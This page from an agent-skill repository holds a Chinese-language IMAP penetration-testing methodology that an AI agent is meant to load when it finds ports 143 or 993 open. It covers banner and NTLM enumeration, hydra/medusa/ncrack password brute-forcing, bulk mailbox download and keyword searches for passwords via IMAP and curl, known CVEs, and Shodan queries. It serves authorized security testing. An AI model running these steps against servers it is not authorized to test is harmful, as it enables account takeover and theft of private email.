imap-pentesting

$npx mdskill add wgpsec/AboutSecurity/imap-pentesting

Execute IMAP penetration tests on open mail servers.

  • Automates credential cracking and email enumeration.
  • Integrates with Nmap scripts and Metasploit modules.
  • Decides actions based on port status and banner analysis.
  • Delivers results via command logs and vulnerability reports.

SKILL.md

.github/skills/imap-pentestingView on GitHub ↗
---
name: imap-pentesting
description: |
  IMAP 邮件服务(143/993 端口)渗透测试方法论。涵盖 IMAP 服务发现、Banner 信息提取、凭据爆破、邮箱枚举与邮件下载、IMAP 命令注入、已知漏洞利用。
  当 Agent 扫描发现 143 或 993 端口开放、需要测试 IMAP 认证强度、枚举邮箱内容、或利用 IMAP 服务漏洞时,触发此 Skill。
metadata:
  tags:
    - imap
    - 邮件
    - 143端口
    - 993端口
    - 邮箱枚举
  category: exploit/network-service
---

# IMAP 邮件渗透测试方法论 (143/993)

## 深入参考

- IMAP 命令语法、CURL 操作、NTLM 信息提取、邮件搜索技巧 -> 读 [references/imap-techniques.md](references/imap-techniques.md)

---

## 整体决策树

```
发现 143/993 端口开放
├─ Phase 1: 服务发现
│   ├─ Banner 抓取 -> 识别邮件服务与版本
│   ├─ 143 (明文) vs 993 (SSL/TLS)
│   └─ Nmap 脚本 -> 能力枚举 / NTLM 信息
├─ Phase 2: Banner 信息分析
│   ├─ 邮件服务器类型 (Dovecot / Exchange / Cyrus / Zimbra)
│   ├─ NTLM 信息泄露 (Exchange) -> Windows 版本、域名
│   └─ CAPABILITY 命令 -> 支持的功能
├─ Phase 3: 凭据爆破
│   ├─ hydra / medusa / ncrack
│   ├─ Metasploit imap_version
│   └─ 默认凭据 / 弱密码
├─ Phase 4: 邮箱枚举与邮件下载
│   ├─ LIST "" * -> 列出所有邮箱文件夹
│   ├─ SELECT INBOX -> 选中收件箱
│   ├─ SEARCH ALL -> 列出所有邮件
│   ├─ FETCH -> 下载邮件内容
│   └─ SEARCH TEXT "password" -> 关键词搜索
└─ Phase 5: 已知漏洞
    ├─ 服务器特定 CVE
    ├─ IMAP 命令注入
    └─ searchsploit <imap_server> <version>
```

---

## Phase 1: 服务发现

### 1.1 Banner 抓取

```bash
# 明文 IMAP (143)
nc -nv <IP> 143

# SSL/TLS IMAP (993)
openssl s_client -connect <IP>:993 -quiet
```

### 1.2 Nmap 枚举

```bash
# IMAP NTLM 信息泄露
nmap --script imap-ntlm-info -p 143 <IP>

# IMAP 能力枚举
nmap --script imap-capabilities -p 143 <IP>
```

### 1.3 Metasploit

```bash
msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS <IP>; set RPORT 143; run; exit'
```

---

## Phase 2: Banner 信息分析

### 2.1 NTLM 信息提取 (Exchange)

如果服务器支持 NTLM 认证,可提取 Windows 版本等信息:

```bash
# Telnet 交互
telnet <IP> 143
* OK The Microsoft Exchange IMAP4 service is ready.
>> a1 AUTHENTICATE NTLM
+
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
# 服务器返回 NTLMSSP_CHALLENGE (含 OS 版本、域信息)
```

### 2.2 信息分析决策树

```
Banner 分析
├─ Microsoft Exchange
│   ├─ NTLM 信息泄露 -> 版本、域名、主机名
│   └─ 可能存在 ProxyLogon / ProxyShell 等漏洞 (通过 HTTP)
├─ Dovecot
│   └─ 检查版本特定 CVE
├─ Cyrus IMAP
│   └─ 检查版本特定 CVE
├─ Zimbra
│   └─ 检查 Web 接口相关 CVE
└─ CAPABILITY 结果
    ├─ STARTTLS -> 可升级加密
    ├─ AUTH=PLAIN -> 明文认证
    └─ AUTH=NTLM -> Windows 域环境
```

---

## Phase 3: 凭据爆破

### 3.1 爆破工具

```bash
# hydra — IMAP 明文
hydra -l <username> -P <password_list> -f <IP> imap -V

# hydra — IMAPS (SSL)
hydra -l <username> -P <password_list> -f <IP> -s 993 imaps -V

# medusa
medusa -h <IP> -u <username> -P <password_list> -M imap

# ncrack
ncrack -p 143 --user <username> -P <password_list> <IP>
```

---

## Phase 4: 邮箱枚举与邮件下载

### 4.1 IMAP 命令操作

```bash
# 登录
a1 LOGIN username password

# 列出所有邮箱/文件夹
a1 LIST "" *
a1 LIST INBOX *

# 选中邮箱
a1 SELECT INBOX

# 查看邮箱状态
a1 STATUS INBOX (MESSAGES UNSEEN RECENT)

# 搜索所有邮件
a1 SEARCH ALL

# 关键词搜索
a1 SEARCH TEXT "password"
a1 SEARCH SUBJECT "vpn"
a1 SEARCH FROM "admin"

# 获取邮件标志
a1 FETCH 1:* (FLAGS)

# 下载邮件全文
a1 FETCH <msg_id> body[text]
a1 FETCH <msg_id> all
a1 UID FETCH <uid> (UID RFC822.SIZE BODY.PEEK[])

# 关闭邮箱
a1 CLOSE

# 退出
a1 LOGOUT
```

### 4.2 CURL 操作 (更方便)

```bash
# 列出所有邮箱
curl -k 'imaps://<IP>/' --user user:pass

# 列出 INBOX 中的邮件
curl -k 'imaps://<IP>/INBOX?ALL' --user user:pass

# 关键词搜索
curl -k 'imaps://<IP>/Drafts?TEXT password' --user user:pass

# 下载指定邮件
curl -k 'imaps://<IP>/INBOX;MAILINDEX=1' --user user:pass

# UID 操作
curl -k 'imaps://<IP>/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://<IP>/INBOX;UID=1' --user user:pass

# 批量获取邮件头
curl -k 'imaps://<IP>/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
```

### 4.3 邮件内容分析

```
邮件提取后关注内容
├─ 凭据信息
│   ├─ 密码重置邮件
│   ├─ 系统通知 (新账户创建)
│   └─ VPN / SSH / RDP 配置
├─ 内部网络信息
│   ├─ 内网 IP / URL
│   ├─ 系统架构文档
│   └─ 运维通知
├─ 附件
│   ├─ 配置文件
│   ├─ 文档 (Word/Excel/PDF)
│   └─ 压缩包
├─ 草稿箱
│   └─ 可能包含未发送的敏感信息
└─ 社会工程素材
    └─ 邮件模板 / 签名 -> 钓鱼攻击参考
```

### 4.4 批量下载脚本

```bash
# 循环下载前 N 封邮件
for m in {1..20}; do
  echo "--- Message $m ---"
  curl -k "imap://<IP>/INBOX;MAILINDEX=$m;SECTION=HEADER.FIELDS%20(SUBJECT%20FROM)" --user user:pass
done
```

---

## Phase 5: 已知漏洞

### 5.1 漏洞检测决策树

```
IMAP 服务版本已知
├─ Dovecot
│   ├─ CVE-2019-11500 (堆溢出)
│   └─ searchsploit dovecot
├─ Cyrus IMAP
│   ├─ CVE-2019-18928 (认证绕过)
│   └─ searchsploit cyrus imap
├─ Microsoft Exchange
│   ├─ ProxyLogon (CVE-2021-26855)
│   ├─ ProxyShell (CVE-2021-34473)
│   └─ 通过 HTTP/HTTPS 接口利用
├─ Zimbra
│   ├─ CVE-2022-27925 (RCE)
│   └─ CVE-2022-37042 (认证绕过 + RCE)
└─ 通用
    └─ searchsploit imap
```

---

## 图形化客户端

如需更直观操作邮件内容:

```bash
# Evolution 邮件客户端 (Linux)
apt install evolution
# 添加 IMAP 账户配置后可浏览完整邮箱
```

---

## Shodan 搜索

```
port:143 CAPABILITY
port:993 CAPABILITY
```

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|